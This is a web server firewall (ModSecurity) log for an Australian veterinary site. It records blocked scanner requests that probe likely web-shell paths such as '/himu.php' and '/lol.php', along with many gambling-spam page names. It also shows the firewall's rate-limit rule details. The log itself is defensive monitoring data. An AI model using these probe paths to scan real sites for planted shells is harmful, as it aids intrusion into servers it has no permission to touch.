[Mon Apr 06 22:46:58.251570 2026] [:error] [pid 1827:tid 1846] [client 158.158.96.77:24569] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adPHYuVeb6S_DnjZ2xE5MgAAAhE"]
[Mon Apr 06 22:46:58.732996 2026] [:error] [pid 9413:tid 9419] [client 158.158.96.77:34455] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adPHYnllvEK3chn01wHZGgAAAYQ"]
[Mon Apr 06 22:46:59.214582 2026] [:error] [pid 9442:tid 9453] [client 158.158.96.77:65060] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adPHY0PsNnAJTnmz6sZD4QAAAQk"]
[Mon Apr 06 22:46:59.708923 2026] [:error] [pid 35686:tid 35720] [client 158.158.96.77:37922] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adPHY8MKdea6oORd2fz2AQAAABg"]
[Mon Apr 06 22:47:00.490028 2026] [:error] [pid 35688:tid 35754] [client 158.158.96.77:47809] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/himu.php"] [unique_id "adPHZOZ85qg4jLsRpQwAGwAAAIQ"]
[Mon Apr 06 22:47:01.018051 2026] [:error] [pid 38562:tid 38566] [client 158.158.96.77:37920] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/himu.php"] [unique_id "adPHZaeD6Ohe6wzRuy61oQAAAUE"]
[Mon Apr 06 22:47:01.512713 2026] [:error] [pid 10280:tid 10306] [client 158.158.96.77:34554] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/himu.php"] [unique_id "adPHZV8QUJkf8g-BFfM4awAAAdc"]
[Mon Apr 06 22:47:47.244838 2026] [:error] [pid 9442:tid 9459] [client 158.158.96.77:37470] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "adPHk0PsNnAJTnmz6sZFNAAAAQ8"]
[Mon Apr 06 22:47:47.886016 2026] [:error] [pid 9442:tid 9456] [client 158.158.96.77:37947] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "adPHk0PsNnAJTnmz6sZFOQAAAQw"]
[Mon Apr 06 22:47:48.363800 2026] [:error] [pid 10280:tid 10286] [client 158.158.96.77:35319] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "adPHlF8QUJkf8g-BFfM4sQAAAcM"]
[Mon Apr 06 22:47:48.879804 2026] [:error] [pid 35686:tid 35715] [client 158.158.96.77:24527] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "adPHlMMKdea6oORd2fz2IAAAABM"]
[Mon Apr 06 22:47:49.363169 2026] [:error] [pid 9442:tid 9447] [client 158.158.96.77:35286] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "adPHlUPsNnAJTnmz6sZFQwAAAQM"]
[Mon Apr 06 22:47:49.862746 2026] [:error] [pid 35688:tid 35764] [client 158.158.96.77:30285] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "adPHleZ85qg4jLsRpQwAxwAAAI4"]
[Mon Apr 06 22:47:50.362476 2026] [:error] [pid 10280:tid 10291] [client 158.158.96.77:35286] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "adPHll8QUJkf8g-BFfM4tgAAAcg"]
[Mon Apr 06 22:47:50.951344 2026] [:error] [pid 38562:tid 38586] [client 158.158.96.77:32320] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "adPHlqeD6Ohe6wzRuy618wAAAVU"]
[Mon Apr 06 22:47:51.529666 2026] [:error] [pid 35688:tid 35751] [client 158.158.96.77:33834] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "adPHl-Z85qg4jLsRpQwA0QAAAIE"]
[Mon Apr 06 22:47:52.036346 2026] [:error] [pid 35688:tid 35750] [client 158.158.96.77:34474] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "adPHmOZ85qg4jLsRpQwA2AAAAIA"]
[Mon Apr 06 22:47:52.554274 2026] [:error] [pid 10280:tid 10305] [client 158.158.96.77:34476] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "adPHmF8QUJkf8g-BFfM4vQAAAdY"]
[Mon Apr 06 22:47:53.037789 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:44754] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "adPHmUPsNnAJTnmz6sZFTAAAAQI"]
[Tue Apr 07 00:12:19.250405 2026] [:error] [pid 1827:tid 1846] [client 43.166.247.155:60058] [client 43.166.247.155] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adPbY-Veb6S_DnjZ2xFO7wAAAhE"]
[Tue Apr 07 01:12:06.047056 2026] [:error] [pid 39748:tid 39760] [client 38.242.226.127:36380] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adPpZigic31vPbqmSIqoNgAAAMU"]
[Tue Apr 07 01:12:09.130867 2026] [:error] [pid 39330:tid 39433] [client 38.242.226.127:42300] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "adPpaXXef-xW6Zktbj-rUwAAAIM"]
[Tue Apr 07 01:12:11.851059 2026] [:error] [pid 39328:tid 39355] [client 38.242.226.127:42316] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adPpazhTc4A7DPq5yJhYVAAAABc"]
[Tue Apr 07 01:12:14.569156 2026] [:error] [pid 39330:tid 39440] [client 38.242.226.127:42326] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adPpbnXef-xW6Zktbj-rWwAAAIk"]
[Tue Apr 07 01:12:17.237477 2026] [:error] [pid 39328:tid 39352] [client 38.242.226.127:34260] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "adPpcThTc4A7DPq5yJhYcwAAABQ"]
[Tue Apr 07 01:12:20.027511 2026] [:error] [pid 39748:tid 39777] [client 38.242.226.127:34274] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adPpdCgic31vPbqmSIqoWAAAANY"]
[Tue Apr 07 01:12:22.740087 2026] [:error] [pid 39748:tid 39756] [client 38.242.226.127:34276] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adPpdigic31vPbqmSIqoYgAAAME"]
[Tue Apr 07 01:12:25.331567 2026] [:error] [pid 39330:tid 39454] [client 38.242.226.127:34286] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adPpeXXef-xW6Zktbj-ragAAAJc"]
[Tue Apr 07 01:12:28.037432 2026] [:error] [pid 39329:tid 39411] [client 38.242.226.127:55652] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adPpfFb3ztKMBQDfFByemgAAAEk"]
[Tue Apr 07 01:12:30.751088 2026] [:error] [pid 39748:tid 39778] [client 38.242.226.127:55664] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adPpfigic31vPbqmSIqoigAAANc"]
[Tue Apr 07 01:12:33.413184 2026] [:error] [pid 55003:tid 55010] [client 38.242.226.127:55676] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adPpgQiMyAbcUkWpJeDiQQAAAQM"]
[Tue Apr 07 01:12:36.050666 2026] [:error] [pid 55003:tid 55028] [client 38.242.226.127:55684] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adPphAiMyAbcUkWpJeDiRAAAARU"]
[Tue Apr 07 01:12:38.820210 2026] [:error] [pid 39748:tid 39770] [client 38.242.226.127:34208] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adPphigic31vPbqmSIqooAAAAM8"]
[Tue Apr 07 01:12:41.418711 2026] [:error] [pid 55003:tid 55021] [client 38.242.226.127:34214] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adPpiQiMyAbcUkWpJeDiTQAAAQ4"]
[Tue Apr 07 01:12:44.007463 2026] [:error] [pid 39330:tid 39431] [client 38.242.226.127:34224] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adPpjHXef-xW6Zktbj-rkgAAAIE"]
[Tue Apr 07 01:12:46.548164 2026] [:error] [pid 39748:tid 39755] [client 38.242.226.127:56082] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adPpjigic31vPbqmSIqotQAAAMA"]
[Tue Apr 07 01:12:49.156474 2026] [:error] [pid 39748:tid 39761] [client 38.242.226.127:56088] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adPpkSgic31vPbqmSIqoxQAAAMY"]
[Tue Apr 07 01:12:51.832436 2026] [:error] [pid 39748:tid 39769] [client 38.242.226.127:56094] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adPpkygic31vPbqmSIqo2QAAAM4"]
[Tue Apr 07 01:12:55.181305 2026] [:error] [pid 39330:tid 39440] [client 38.242.226.127:56108] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adPpl3Xef-xW6Zktbj-rlgAAAIk"]
[Tue Apr 07 01:12:57.812729 2026] [:error] [pid 39328:tid 39355] [client 38.242.226.127:45082] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adPpmThTc4A7DPq5yJhYwAAAABc"]
[Tue Apr 07 01:13:00.622057 2026] [:error] [pid 39330:tid 39437] [client 38.242.226.127:45086] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adPpnHXef-xW6Zktbj-rnwAAAIc"]
[Tue Apr 07 01:13:27.573659 2026] [:error] [pid 39330:tid 39439] [client 38.242.226.127:45098] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adPpt3Xef-xW6Zktbj-rwwAAAIg"]
[Tue Apr 07 01:13:30.187931 2026] [:error] [pid 39748:tid 39763] [client 38.242.226.127:51630] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "adPpuigic31vPbqmSIqpPgAAAMg"]
[Tue Apr 07 01:13:33.070466 2026] [:error] [pid 39329:tid 39410] [client 38.242.226.127:51632] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adPpvVb3ztKMBQDfFBye2wAAAEg"]
[Tue Apr 07 01:13:35.676088 2026] [:error] [pid 39328:tid 39352] [client 38.242.226.127:51640] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adPpvzhTc4A7DPq5yJhZDQAAABQ"]
[Tue Apr 07 01:13:38.448288 2026] [:error] [pid 39330:tid 39430] [client 38.242.226.127:33350] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adPpwnXef-xW6Zktbj-r7AAAAIA"]
[Tue Apr 07 01:13:41.124765 2026] [:error] [pid 55003:tid 55019] [client 38.242.226.127:33362] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adPpxQiMyAbcUkWpJeDi6wAAAQw"]
[Tue Apr 07 01:13:43.816304 2026] [:error] [pid 39328:tid 39350] [client 38.242.226.127:33378] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adPpxzhTc4A7DPq5yJhZHgAAABI"]
[Tue Apr 07 01:13:46.406547 2026] [:error] [pid 39748:tid 39775] [client 38.242.226.127:56138] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adPpyigic31vPbqmSIqpdAAAANQ"]
[Tue Apr 07 01:13:48.906812 2026] [:error] [pid 39330:tid 39450] [client 38.242.226.127:56146] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adPpzHXef-xW6Zktbj-r-QAAAJM"]
[Tue Apr 07 01:13:51.595264 2026] [:error] [pid 39330:tid 39430] [client 38.242.226.127:56154] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adPpz3Xef-xW6Zktbj-sAgAAAIA"]
[Tue Apr 07 01:13:54.200731 2026] [:error] [pid 55003:tid 55011] [client 38.242.226.127:56158] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adPp0giMyAbcUkWpJeDi9wAAAQQ"]
[Tue Apr 07 01:13:56.767884 2026] [:error] [pid 55003:tid 55020] [client 38.242.226.127:55932] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adPp1AiMyAbcUkWpJeDi_gAAAQ0"]
[Tue Apr 07 01:13:59.315745 2026] [:error] [pid 39748:tid 39776] [client 38.242.226.127:55940] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adPp1ygic31vPbqmSIqpmwAAANU"]
[Tue Apr 07 01:14:02.269031 2026] [:error] [pid 39328:tid 39338] [client 38.242.226.127:55946] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adPp2jhTc4A7DPq5yJhZPwAAAAY"]
